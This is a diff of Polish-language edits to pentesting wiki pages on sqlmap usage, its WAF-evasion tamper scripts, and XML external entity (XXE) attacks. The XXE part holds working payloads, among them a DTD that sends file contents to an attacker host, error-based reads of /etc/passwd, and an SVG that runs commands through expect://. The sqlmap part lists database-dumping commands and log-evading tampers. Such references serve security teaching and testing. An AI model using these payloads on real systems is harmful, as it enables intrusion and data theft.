| base64encode.py | Koduje wszystkie znaki w danym ładunku w formacie Base64 |
|
||||
| between.py | Zastępuje operator większy niż \('>'\) z 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE |
|
||||
| bluecoat.py | Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE |
|
||||
| chardoubleencode.py | Podwójnie koduje URL wszystkie znaki w danym ładunku \(nie przetwarzając już zakodowanych\) |
|
||||
| commalesslimit.py | Zastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Zastępuje wystąpienia takie jak 'MID\(A, B, C\)' z 'MID\(A FROM B FOR C\)' |
|
||||
@ -152,7 +152,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| greatest.py | Zastępuje operator większy niż \('>'\) z odpowiednikiem 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym |
|
||||
| ifnull2ifisnull.py | Zastępuje wystąpienia takie jak 'IFNULL\(A, B\)' z 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Otacza pełne zapytanie wersjonowanym komentarzem |
|
||||
| modsecurityversioned.py | Otacza pełne zapytanie wersjonowanym komentarzem |
|
||||
| modsecurityzeroversioned.py | Otacza pełne zapytanie zerowym wersjonowanym komentarzem |
|
||||
| multiplespaces.py | Dodaje wiele spacji wokół słów kluczowych SQL |
|
||||
| nonrecursivereplacement.py | Zastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia \(np. .replace\("SELECT", ""\)\) filtry |
|
||||
@ -162,12 +162,12 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| randomcomments.py | Dodaje losowe komentarze do słów kluczowych SQL |
|
||||
| securesphere.py | Dodaje specjalnie skonstruowany ciąg |
|
||||
| sp_password.py | Dodaje 'sp_password' na końcu ładunku w celu automatycznego zatarcia w logach DBMS |
|
||||
| space2comment.py | Zastępuje znak spacji \(' '\) komentarzami |
|
||||
| space2dash.py | Zastępuje znak spacji \(' '\) komentarzem w postaci myślnika \('--'\) po którym następuje losowy ciąg i nowa linia \('\n'\) |
|
||||
| space2hash.py | Zastępuje znak spacji \(' '\) znakiem krzyżyka \('\#'\) po którym następuje losowy ciąg i nowa linia \('\n'\) |
|
||||
| space2morehash.py | Zastępuje znak spacji \(' '\) znakiem krzyżyka \('\#'\) po którym następuje losowy ciąg i nowa linia \('\n'\) |
|
||||
| space2comment.py | Zastępuje znak spacji \(' '\) komentarzami |
|
||||
| space2dash.py | Zastępuje znak spacji \(' '\) komentarzem w postaci myślnika \('--'\) po którym następuje losowy ciąg i nowa linia \('\n'\) |
|
||||
| space2hash.py | Zastępuje znak spacji \(' '\) znakiem krzyża \('\#'\) po którym następuje losowy ciąg i nowa linia \('\n'\) |
|
||||
| space2morehash.py | Zastępuje znak spacji \(' '\) znakiem krzyża \('\#'\) po którym następuje losowy ciąg i nowa linia \('\n'\) |
|
||||
| space2mssqlblank.py | Zastępuje znak spacji \(' '\) losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2mssqlhash.py | Zastępuje znak spacji \(' '\) znakiem krzyżyka \('\#'\) po którym następuje nowa linia \('\n'\) |
|
||||
| space2mssqlhash.py | Zastępuje znak spacji \(' '\) znakiem krzyża \('\#'\) po którym następuje nowa linia \('\n'\) |
|
||||
| space2mysqlblank.py | Zastępuje znak spacji \(' '\) losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2mysqldash.py | Zastępuje znak spacji \(' '\) komentarzem w postaci myślnika \('--'\) po którym następuje nowa linia \('\n'\) |
|
||||
| space2plus.py | Zastępuje znak spacji \(' '\) znakiem plus \('+'\) |
|
||||
@ -176,10 +176,10 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| unionalltounion.py | Zastępuje UNION ALL SELECT z UNION SELECT |
|
||||
| unmagicquotes.py | Zastępuje znak cytatu \('\) kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu \(aby to działało\) |
|
||||
| uppercase.py | Zastępuje każdy znak słowa kluczowego wartością wielką 'INSERT' |
|
||||
| varnish.py | Dodaje nagłówek HTTP 'X-originating-IP' |
|
||||
| varnish.py | Dodaje nagłówek HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Otacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL |
|
||||
| versionedmorekeywords.py | Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL |
|
||||
| xforwardedfor.py | Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For' |
|
||||
| xforwardedfor.py | Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For' |
|
||||
|
||||
## References
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
@ -51,7 +51,7 @@ sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||
--passwords #Get passwords of users in DB
|
||||
--privileges #Get privileges
|
||||
```
|
||||
#### Dane DB
|
||||
#### DB data
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
@ -75,7 +75,7 @@ sqlmap -r req.txt --current-user
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
### Wstrzykiwanie Żądania POST
|
||||
### Wstrzykiwanie żądania POST
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
@ -99,7 +99,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```
|
||||
### Dodaj technikę wykrywania
|
||||
|
||||
Jeśli znalazłeś SQLi, ale sqlmap go nie wykrył, możesz wymusić technikę wykrywania za pomocą argumentów takich jak `--prefix` lub `--suffix`, lub w przypadku bardziej złożonych, dodając ją do ładunków używanych przez sqlmap w `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, na przykład dla opartego na czasie ślepego.
|
||||
Jeśli znalazłeś SQLi, ale sqlmap go nie wykrył, możesz wymusić technikę wykrywania za pomocą argumentów takich jak `--prefix` lub `--suffix`, lub jeśli jest to bardziej skomplikowane, dodając to do ładunków używanych przez sqlmap w `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, na przykład dla opartego na czasie ślepego.
|
||||
|
||||
### Eval
|
||||
|
||||
@ -167,16 +167,16 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
|
||||
| base64encode.py | Koduje wszystkie znaki w danym ładunku w formacie Base64 |
|
||||
| between.py | Zastępuje operator większy niż ('>') z 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE |
|
||||
| chardoubleencode.py | Podwójnie koduje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) |
|
||||
| commalesslimit.py | Zastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Zastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)' |
|
||||
| chardoubleencode.py | Podwójnie koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) |
|
||||
| commalesslimit.py | Zastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Zastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Zastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) |
|
||||
| charunicodeencode.py | Koduje znaki unicode w formacie URL w danym ładunku (nie przetwarzając już zakodowanych). "%u0022" |
|
||||
| charunicodeescape.py | Koduje znaki unicode w formacie URL w danym ładunku (nie przetwarzając już zakodowanych). "\u0022" |
|
||||
| charunicodeencode.py | Koduje znaki niezakodowane w danym ładunku w formacie unicode-url (nie przetwarzając już zakodowanych). "%u0022" |
|
||||
| charunicodeescape.py | Koduje znaki niezakodowane w danym ładunku w formacie unicode-url (nie przetwarzając już zakodowanych). "\u0022" |
|
||||
| equaltolike.py | Zastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE' |
|
||||
| escapequotes.py | Używa znaku ukośnika do ucieczki cytatów (' i ") |
|
||||
| greatest.py | Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST' |
|
||||
| greatest.py | Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym |
|
||||
| ifnull2ifisnull.py | Zastępuje wystąpienia takie jak 'IFNULL(A, B)' z 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Otacza pełne zapytanie wersjonowanym komentarzem |
|
||||
@ -185,21 +185,21 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
|
||||
| nonrecursivereplacement.py | Zastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtry |
|
||||
| percentage.py | Dodaje znak procentu ('%') przed każdym znakiem |
|
||||
| overlongutf8.py | Konwertuje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) |
|
||||
| randomcase.py | Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter |
|
||||
| randomcase.py | Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter |
|
||||
| randomcomments.py | Dodaje losowe komentarze do słów kluczowych SQL |
|
||||
| securesphere.py | Dodaje specjalnie skonstruowany ciąg |
|
||||
| sp_password.py | Dodaje 'sp_password' na końcu ładunku w celu automatycznego zatarcia w logach DBMS |
|
||||
| space2comment.py | Zastępuje znak spacji (' ') komentarzami |
|
||||
| space2dash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2hash.py | Zastępuje znak spacji (' ') znakiem krzyża ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2morehash.py | Zastępuje znak spacji (' ') znakiem krzyża ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2dash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2hash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2morehash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2mssqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2mssqlhash.py | Zastępuje znak spacji (' ') znakiem krzyża ('#') po którym następuje nowa linia ('\n') |
|
||||
| space2mssqlhash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje nowa linia ('\n') |
|
||||
| space2mysqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2mysqldash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n') |
|
||||
| space2plus.py | Zastępuje znak spacji (' ') znakiem plusa ('+') |
|
||||
| space2mysqldash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n') |
|
||||
| space2plus.py | Zastępuje znak spacji (' ') znakiem plusa ('+') |
|
||||
| space2randomblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| symboliclogical.py | Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i |
|
||||
| symboliclogical.py | Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i |
|
||||
| unionalltounion.py | Zastępuje UNION ALL SELECT z UNION SELECT |
|
||||
| unmagicquotes.py | Zastępuje znak cytatu (') kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu (aby to działało) |
|
||||
| uppercase.py | Zastępuje każdy znak słowa kluczowego wartością wielką 'INSERT' |
|
||||
|
@ -16,7 +16,7 @@ XML to język znaczników zaprojektowany do przechowywania i transportu danych,
|
||||
|
||||
## Główne ataki
|
||||
|
||||
[**Większość tych ataków była testowana przy użyciu wspaniałych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
[**Większość tych ataków była testowana przy użyciu niesamowitych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Test nowej encji
|
||||
|
||||
@ -91,7 +91,7 @@ Używając **wcześniej skomentowanej techniki**, możesz sprawić, że serwer u
|
||||
```
|
||||
### "Blind" SSRF - Exfiltracja danych poza pasmem
|
||||
|
||||
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksfiltrować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**laboratorium Portswigger tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**W tej okazji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (dla plików wieloliniowych możesz spróbować wyeksfiltrować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**laboratorium Portswigger tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
W podanym złośliwym DTD przeprowadzane są szereg kroków w celu eksfiltracji danych:
|
||||
|
||||
@ -106,16 +106,16 @@ Struktura jest następująca:
|
||||
```
|
||||
Kroki wykonywane przez ten DTD obejmują:
|
||||
|
||||
1. **Definicja jednostek parametrów:**
|
||||
- Jednostka parametru XML, `%file`, jest tworzona, odczytując zawartość pliku `/etc/hostname`.
|
||||
- Inna jednostka parametru XML, `%eval`, jest definiowana. Dynamicznie deklaruje nową jednostkę parametru XML, `%exfiltrate`. Jednostka `%exfiltrate` jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość jednostki `%file` w ciągu zapytania URL.
|
||||
2. **Wykonanie jednostek:**
|
||||
- Jednostka `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji jednostki `%exfiltrate`.
|
||||
- Jednostka `%exfiltrate` jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku.
|
||||
1. **Definicja encji parametru:**
|
||||
- Encja parametru XML, `%file`, jest tworzona, odczytując zawartość pliku `/etc/hostname`.
|
||||
- Inna encja parametru XML, `%eval`, jest definiowana. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL.
|
||||
2. **Wykonanie encji:**
|
||||
- Encja `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji encji `%exfiltrate`.
|
||||
- Encja `%exfiltrate` jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku.
|
||||
|
||||
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`.
|
||||
|
||||
**XXE Payload:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
|
||||
**Ładunek XXE:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
@ -132,7 +132,7 @@ Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passw
|
||||
1. Definiuje się byt parametru XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`.
|
||||
2. Definiuje się byt parametru XML o nazwie `eval`, włączający dynamiczną deklarację dla innego bytu parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu `file` jako swoją nazwę.
|
||||
3. Wywoływany jest byt `eval`, co prowadzi do dynamicznej deklaracji bytu `error`.
|
||||
4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co produkuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku.
|
||||
4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co generuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku.
|
||||
|
||||
Złośliwy zewnętrzny DTD można wywołać za pomocą następującego XML:
|
||||
```xml
|
||||
@ -199,7 +199,7 @@ Dla uzyskania dodatkowych informacji sprawdź [https://portswigger.net/web-secur
|
||||
|
||||
### Znajdowanie DTD w systemie
|
||||
|
||||
W następującym wspaniałym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**:
|
||||
W następującym niesamowitym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
@ -221,7 +221,7 @@ Testing 0 entities : []
|
||||
|
||||
Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
|
||||
|
||||
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji webowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja webowa może pozwalać użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, niezbędne będzie przetworzenie przynajmniej jednego pliku XML.
|
||||
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, nieuchronnie będzie musiał sparsować przynajmniej jeden plik XML.
|
||||
|
||||
Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany.
|
||||
|
||||
@ -231,7 +231,7 @@ Zmodyfikowane linie XML powinny być wstawione pomiędzy dwa obiekty XML root. W
|
||||
|
||||
Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie:
|
||||
|
||||
Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji webowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
|
||||
Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
|
||||
|
||||
### Jar: protokół
|
||||
|
||||
@ -241,7 +241,7 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą systemowych plików DTD.** Sprawdź [tę sekcję, aby dowiedzieć się, jak nadużywać systemowych plików DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą systemowych plików DTD.** Sprawdź [ten rozdział, aby dowiedzieć się, jak nadużywać systemowych plików DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
|
||||
|
||||
@ -251,7 +251,7 @@ Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar
|
||||
4. Odczytywany jest konkretny plik w archiwum, `file.zip`.
|
||||
5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane.
|
||||
|
||||
Interesującą techniką przerwania tego procesu na drugim kroku jest utrzymanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
|
||||
Interesującą techniką przerywania tego procesu na drugim kroku jest utrzymywanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
@ -312,7 +312,7 @@ Then you can try to crack the hash using hashcat
|
||||
|
||||
Kiedy integrujesz dane klienta w dokumentach XML po stronie serwera, takich jak te w żądaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
|
||||
|
||||
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
|
||||
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude`, a ścieżka do pliku zamierzonej zewnętrznej encji musi być określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -322,7 +322,7 @@ Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
|
||||
|
||||
Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
|
||||
|
||||
Gdy użytkownicy **przesyłają obrazy**, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na luki XXE (XML External Entity).
|
||||
Gdy użytkownicy **przesyłają obrazy**, te obrazy są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na luki XXE (XML External Entity).
|
||||
|
||||
Przykład takiego ataku pokazano poniżej, gdzie złośliwy obraz SVG próbuje odczytać pliki systemowe:
|
||||
```xml
|
||||
@ -334,11 +334,11 @@ Inna metoda polega na próbie **wykonywania poleceń** za pomocą wrappera PHP "
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
|
||||
W obu przypadkach format SVG jest używany do przeprowadzania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
|
||||
|
||||
Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji!
|
||||
|
||||
**Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który utworzył SVG.**
|
||||
**Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który SVG utworzył.**
|
||||
|
||||
### **PDF - Przesyłanie plików**
|
||||
|
||||
@ -358,7 +358,7 @@ Content-Length: 7
|
||||
|
||||
foo=bar
|
||||
```
|
||||
Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem:
|
||||
Wtedy możesz być w stanie złożyć następujące żądanie, uzyskując ten sam wynik:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
@ -452,7 +452,7 @@ Przykład DTD:
|
||||
```xml
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||||
```
|
||||
#### **Ekstrakcja zasobów zewnętrznych**
|
||||
#### **Ekstrakcja zewnętrznego zasobu**
|
||||
```xml
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
|
||||
```
|
||||
@ -474,7 +474,7 @@ Przykład DTD:
|
||||
```
|
||||
## XLIFF - XXE
|
||||
|
||||
Ten przykład jest inspirowany [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
Ten przykład jest inspirowany w [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).
|
||||
|
||||
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, konkretnie wspominając o problemie z deklaracjami znaczników:
|
||||
Jednak to żądanie wywołuje błąd wewnętrzny serwera, szczególnie wspominając o problemie z deklaracjami znaczników:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -516,7 +516,7 @@ Content-Type: application/x-xliff+xml
|
||||
```
|
||||
To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band.
|
||||
|
||||
Error-Based Data Exfiltration Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
|
||||
Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
@ -542,7 +542,7 @@ Poprawny XML w formacie RSS do wykorzystania luki XXE.
|
||||
|
||||
### Ping back
|
||||
|
||||
Prośba HTTP do serwera atakującego
|
||||
Prosta prośba HTTP do serwera atakującego
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -689,7 +689,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
#### 1. Wykorzystywanie lxml < 5.4.0
|
||||
1. Zidentyfikuj lub stwórz *lokalny* DTD na dysku, który definiuje **niezdefiniowaną** encję parametru (np. `%config_hex;`).
|
||||
2. Stwórz wewnętrzny DTD, który:
|
||||
* Ładuje lokalny DTD za pomocą `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Ładuje lokalny DTD z `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Redefiniuje niezdefiniowaną encję tak, aby:
|
||||
